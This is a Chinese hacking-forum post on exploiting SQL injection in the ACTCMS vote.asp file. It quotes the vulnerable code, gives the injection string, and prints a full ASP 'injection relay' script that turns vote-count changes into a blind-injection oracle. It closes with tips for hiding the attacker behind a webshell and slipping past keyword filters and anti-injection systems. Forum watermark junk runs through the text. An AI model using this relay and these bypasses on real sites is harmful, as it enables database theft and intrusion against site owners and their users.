找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2044|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; i8 b. e3 `! k3 Y0 H/ V( @( `
看到ninty大牛的blog的一篇文章
5 e; a/ f4 _) _链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 o% ^, F$ l+ f9 D& M关于actcms漏洞的利用  by 3x qq:381862589; U3 W. q/ N2 H' D0 m
转载请注明以上
5 p. ~3 S5 W: r" n3 d  ~漏洞文件:
# {. P/ M4 m3 p1 w2 _/plus/vote/vote.asp& y* \; x6 f( X8 A1 C% g
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    ! J, y/ t5 m) M! j% [- n  V/ h4 U, c
2 l  O8 H, O6 O  j+ p- G1 m) S
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   9 [  p/ A6 V9 a' Z! S. [8 R: z3 F' m

0 K2 b" A% O; @3    response.end   
; N7 L/ M( r5 Y6 j* G
( C5 M% S$ \/ }, a7 S4    end if    8 Y2 u" r4 C- k' k

/ ~: o9 `9 c/ @1 n- L3 K. j5    for i=1 to request("voted").count    " c8 J& D; `6 n' N' ~. Z! d

7 t5 F; a0 R1 L- W6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
! R5 m; p$ N; P) G
! @$ x. B' f$ D7    next    " `% Q- a1 `. v0 v# ?( h8 y

! B2 r& t) K+ Z$ y7 \- z8....   
5 `& @+ e) H% l% q" G6 i6 T' M. I) h* P4 W. u
9response.Redirect "index.asp?id="&id&""   ) C" d! H; ]5 ]& F
投票结束回跳转回index.asp这个投票结果页面! w2 E% E7 R% c6 P% C! J# B) I
如果投票成功票数加1
( v1 {- t, [# d+ b: ~+ ^9 I            失败票数不变- S% l& F- @  ~( Q. u
如图:
  L3 ]5 n# S4 b7 v) fhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
/ y1 O5 \! P: `3 y; y  y' k- M" P: z7 ]4 k. ]
2009-12-27 13:20
6 O& v6 x4 U$ n, j& a* y% T9 T
+ B* x+ I; m) Y2 I: Y: e, G利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了3 n) X: C8 o3 V

+ g# |/ ]. N- r2 h+ Q, }- a本帖隐藏的内容需要回复才可以浏览
% |6 R6 @: t- i" w# [' ^& f! M我们用注入中转来实现这个注入具体代码如下:
3 N  `. m' k* u* _( O* [* @先用寂寞的刺猬大牛的注入中转生成jmget.asp2 J- b4 E+ ^  c. s" c0 p- Y
注入地址:http://localhost/actcms/plus/vote/vote.asp# i0 n# \) |& t- A
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
; R- |) J/ Y- A& h) D3 m: c0 Z0 @) A+ c
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ; a& v1 [6 {4 f* T, v2 C3 V7 R

$ I8 }" K9 _3 T" D! A" l02JmdcwName=request("jmdcw") 5 n; ]: n/ F" K: ~. T
4 s& c. J& r/ l' a. A
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
: |; F* a- ~2 A1 I. f0 i" p: c! t8 ~/ E/ L
04JmStr="id=1&voted=-1 or 1="&JmdcwName
: N5 T  c1 B( g# L7 e) L0 N, }# Q
05JmStr=URLEncoding(JmStr)
1 Q3 O$ z& n. p2 H! q/ p1 C$ v; z" \, P7 ~
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 n3 ?+ e% U' N7 A! w3 [, e- v, j) M$ {8 \
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- i& Q5 [$ F% A
2 t8 U4 p% o: M' M; R! J
08testurl=testurl & "?" & JmStr * A8 [7 o% B' ~0 G2 i" S
8 I4 U+ g2 E& q3 H. K
09JMUrl=JMUrl & "?" & JmStr
( L& c) ~& Q! m# _5 @( Y6 i2 ^2 G% [/ F- A/ y/ q: f: a: B
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 I1 w' S% U/ {8 ]" u6 r; F! M) h  ~' V0 f+ \; _9 X
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"5 I! T3 g6 }# }" P# Q
! e) A3 `% \6 Q+ u+ O' T. y+ F( J, r8 X
12JmCok=replace(JmCok,chr(32),"%20")  1 a6 h6 }; j8 P9 i) P6 Y
; j: v1 B" S* k5 K6 y4 C- ^
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
/ w2 R0 H; F. u: j! V6 W2 I. G. C  h6 }7 D; f8 j& x
14  
2 v* N" e  Y+ ]; S+ j. D5 m9 w" i+ Y( c5 [. s
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 H& d: x0 X3 s0 q9 c4 M8 G$ ?) S
16  
1 I7 {3 e% y+ ~# l/ z. J3 |5 t
: V9 B. `$ G8 S) z  C% G# Y; m17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
/ s, v5 Z) c! u# ]0 _, o2 ~
" J$ ^. j" I( B18response.write test1&""&test2&""
  V) ?' |. f+ S; g$ ^7 X
2 k7 m( F/ G3 M7 I5 C19  & R4 ^7 y# }: K3 M: W

1 @; O) D: p+ X1 Y. F3 A20if test1=test2 then '如前后记录相等,表示失败
- y; O: x+ y8 i8 b9 G  ~9 W/ I6 A( q5 |4 G3 j% w5 D1 N
21  response.write "failed"/ m3 R- _  ~8 v7 x  V
0 g. w0 ~# P3 E, v. L0 x
22else 8 b; Y7 s% h3 T

' S3 N, k2 b8 r3 V: _; G3 Q23  response.write "succeed"% o# }3 |5 k; x% t& D- m
; s) J( _1 T' N2 A, H  I
24end if  ( v$ D$ @! q+ ^" `: d

: e5 I7 I% n; j1 z1 ?25  
( O' Z! X9 }, v- y- @
: s) q' B8 w. }8 h; v. i26response.write "by 3x"
. ]1 p" `7 O/ V  Y8 ^* Z$ D6 l
7 r  X- ]' |8 W1 q! s) i3 A27  
% k. `+ z6 s. B; v- X; |% A
2 i! u( ?6 O& X0 x28  ( Z/ d* x$ O% m6 y
! s. m& A% z0 `& ?( l' C7 ~/ P. r
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   + z% ?/ L4 g' F8 _5 Z
% V0 D! k* s! {1 h7 C
30Dim Http
; d; |" m2 i' Z/ a$ c( W, k  ?$ r2 u/ A
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 A( |5 U8 O$ }/ |! ~

9 M6 `% D( F1 y$ N3 \9 K8 j! C* _9 j32With Http 6 b" x% `+ l) G0 k9 v( {
8 G$ }2 N) j- D6 s& d1 C8 \6 b
33  # X9 B  x0 S. z, D( Y# r0 ?, t7 n+ o$ `
1 `2 U8 `& h% [% ?) l" `! L
34.Open "GET",PostUrl,False
/ O' T5 [- |& m' i0 ^! @5 }6 j8 W7 P% P, R6 t9 x) R' d6 Q* N, m7 O0 a
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
3 i' V# b3 u9 v, k" i  I
$ v/ [. x% U! v& E* ^) q/ A36.SetRequestHeader "Referer",PostRef
6 H$ {/ y5 ~( S: w( O
3 [1 d& A  ~) s: N9 m; n  z. @  o0 ]37.SetRequestHeader "Cookie",PostCok
* n; {) J3 |/ y* I% N4 Q( b/ J
, f5 d/ M& |& f' K% A1 O38.Send ()
# o# v0 I8 o1 G; G
& K: G" x/ S- A  X39PostData = .ResponseBody
$ o- O/ l/ ]& @3 w
- h# A/ \+ p( O5 ~& y4 A, {6 \40End With7 h9 @/ V8 t0 ]" |% I/ `

! Y  Y  t/ F& n. V/ G: e41Set Http = Nothing; t; r( `( D" N4 D, x- l/ \

* c% ~7 e) ^; }+ G9 c4 E42PostData =bytes2BSTR(PostData)
& w& L0 [1 D0 t0 k
. U6 u+ K) S! D3 g' j* X43End Function* l' L6 o3 N5 s+ A

4 w9 a) }; r& O6 j44  
' o: z/ \6 w) O4 I7 w3 T$ ]6 W  [& ]1 g- Z) w- |
45  & F5 @- M! a6 i- a
0 F7 D3 B8 |8 B2 c# D' q' `
46Function bytes2BSTR(vIn)
5 d+ y2 U, C9 d# a; |, u. b8 E: D7 y, t9 F- G! W1 F
47Dim strReturn
- A  x: i6 Y3 M3 Q( l7 g) ~* M5 H* ?9 \- s% U3 H( [5 M
48Dim I, ThisCharCode, NextCharCode ! Q1 u/ b; {; v! ?0 e/ H* B
9 m8 b* ?. i. J; z% y, l+ J
49strReturn = ""' ?! M& V( Y8 p+ z; N- W' B

# G( O  N" `9 `0 E$ p. I. C- x2 Y50For I = 1 To LenB(vIn) 8 Q& x- i4 x4 _: `
" v! h, |$ _7 P; n
51ThisCharCode = AscB(MidB(vIn, I, 1)) : k0 c9 t  w  n1 `% C1 j
; E* t3 ^: Y, A( [5 R9 ?
52If ThisCharCode < &H80 Then9 M# N2 y' N8 H! I, |$ }0 K8 u/ X) t
! m" X* `- k' c: U" n  Q
53strReturn = strReturn & Chr(ThisCharCode)
  e+ K# a; t- p5 }- b  f8 W( I( g9 |/ Q( ]& R- Y- L* s
54Else: x0 \9 F  I6 C- m; c; `9 n

) v9 ]3 K) e, `55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. \) R" U. D- @9 c" h% s! M# G5 l% X1 h, t
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ! R0 ^* s! o. L" P7 T  X
3 S1 H$ T7 d0 C2 W8 y
57I = I + 1
, R4 V( D- y1 ?8 n# s( k2 ], h5 X& ^
5 {+ [, h& i; s) G7 \* U! k58End If( \3 X, J7 A' m( ~5 C. Z( o4 V  l; a8 s

8 d' Q$ \- w* I; n59Next
1 p0 Q% O: L- o2 X6 p/ h) K5 f8 T% c% y. d1 n2 u( g; ^
60bytes2BSTR = strReturn % Y1 H$ {6 T) P9 f1 B0 C" d

# B0 o) ~3 [% T: v# O3 c61End Function
) V# q6 v5 `0 `, `1 C
) j7 h! Q  j; ?; s62    y: h) n9 p8 Q$ k5 ]

1 H7 u- ]( j8 Z, ?) w63Function URLEncoding(vstrin)  
- e6 x  ^4 i* R  x4 l; W/ b& S( _! ~4 |. d6 p2 w
64strReturn=""
+ |4 U3 l, c$ a5 D4 y. l: p) V* L" w% d( Q( A
65Dim i 5 ^6 N" D8 }1 I- L9 Y' N
2 B( `. F3 H. e2 I- K
66For i=1 To Len(vstrin) 0 r- `, p# e* l) M

3 l( a3 _6 Q  l. H67ThisChr=Mid(vstrin,i,1)
; Y1 A5 E# J/ h+ v6 F' O9 g7 b5 w* }- E1 h; ^
68if Abs(Asc(ThisChr))< &HFF Then
$ Q2 h* U1 w9 s: M( ^. P* K/ E8 [- G' R' m1 {) V0 b% k! N
69strReturn=strReturn & ThisChr ! V3 F1 C1 a6 s; ~: a  t$ n# p
; m5 }/ b+ C& A- r6 {, h
70Else: E. w* h( o5 s& t, T
% U6 P7 y3 I/ H7 O6 v% @  k$ y5 {
71InnerCode=Asc(ThisChr) ) |! g, k+ ?# [* u# o+ d/ }3 {
# ~1 B" K1 O0 q4 K0 `; ?
72If InnerCode<0 Then
3 m- E" K& N& W: \; `1 O3 ~  F! h: V# ]3 v2 e
73InnerCode=InnerCode + &H10000 ' ]* t) G3 P2 X, T2 X' E

/ q& G& i# f- l7 g74End If
/ G, ~/ j% `& F1 G/ n8 Z3 t
& N! V, _, B5 H' P) h+ p75Hight1=(InnerCode And &HFF00) \&HFF 2 n, O" D( N1 K8 ]1 q' H8 h$ e& b

! n+ P5 P$ B: ^8 x  ^! {# b& }76Low1=InnerCode And &HFF ( S0 v+ A* Z5 E: O/ H0 |. R& Q$ J; [
* Q- r1 u* Y$ r
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ; `4 x/ E8 e# G/ S, I  X5 W$ ]9 ?

% L8 f9 \: [& A( [( @* w. j, Q$ E78End if
6 R- K- Y3 i) N/ i" D/ u9 L: c5 l1 B  w1 m! T$ u2 J
79Next
, l. D# W$ @' o5 h: F, D( [# m  l, c  h/ [
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 m4 v, q! R! M4 E8 |3 y. B! i
' d8 o" v" a+ f& ~. d4 M81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
1 U" ?* Z- r' [' r. \
7 `5 D6 w1 P/ u! B: C1 k) S+ ?82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 + g* J9 H' }" o: O: N! {5 @

2 p% ~# d0 L: O6 P4 V- l83URLEncoding=strReturn + e/ z# T7 t% O& k9 K# d0 w

4 O. X5 f; w: ^6 o) j* {84End Function5 W' N7 F& Z& ]: u
- u# f0 D% B# B* ]. Z7 e
85  
" C9 a/ @1 a; g1 z4 L" }
3 N- l( q1 d5 k( X86function getSt(body) $ U4 X! n; C3 U0 Z0 V, q$ d

) d! ^' W, q7 t. j9 Z9 M87  startpot=instr(body,"投票人数:")+len("投票人数:")
6 M: @( I9 e2 `4 R6 M1 u0 z+ n- U, S4 r+ `
88  endpot=instr(startpot,body," ")
/ K6 c3 C0 x+ Z8 b% M" f
2 I$ x' }) Z# I8 F89  getSt=mid(body,startpot,endpot-startpot)
" S* U) x3 O0 c/ X* l& U
1 d" g! E/ e7 x; m90end function
9 z$ R- ~$ |  j* a5 l( f0 [5 M( v! s6 v5 U8 t+ H7 q
91%>
9 V0 o% E% _: t4 O+ ]注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了3 X( \; |6 F9 j9 O
测试下效果:
) [  n7 _! L; ^; K/ G2 a* d$ f投票成功:! R! ^& C5 j* f
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
6 }* x( \" Q( L" ]  o5 R0 r# }5 x( o- f! z( u0 h
2009-12-27 13:29+ K* W3 o' T4 D4 ~1 B: g
投票失败
& t, v; o$ a) p) u% z% B2 whttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( G! f& K( O' z4 {: [
# |; M9 f% J% L+ ~
2009-12-27 13:29
+ d+ E/ B( U, \; d6 t* R1 ~-------------------------------------------------------------------------------
7 _# X5 S$ L) W再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 x" U4 ?( b* t  k很抱歉。。。只能用单线程工具去注入。。。。。
' u3 {* ^# ^; [8 ^2 y所以失败。。。不好意思。。。3 ]: }3 [/ D5 k2 O9 _5 N6 E2 B
-------------------------------------------------------------------------------0 u. g1 ]9 C" N) @4 O/ o
/ c  d5 w: j8 `( r9 F  S, G: h* g
注入中转的一些其他应用( N% ?. }9 O% u
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了# O; G3 D" q2 A9 {0 F7 Q. q: }
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
: A2 z9 y! z6 |  k( {2.post注入转成get型的注入,方便我们使用工具来跑
# o1 b! Q$ D2 z, q# o$ y( j6 |3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")7 X8 T: {7 W8 Y
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
; u: T' ]7 h! x) H; G7 G
. h3 |: j6 Q9 d2 }8 j- |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表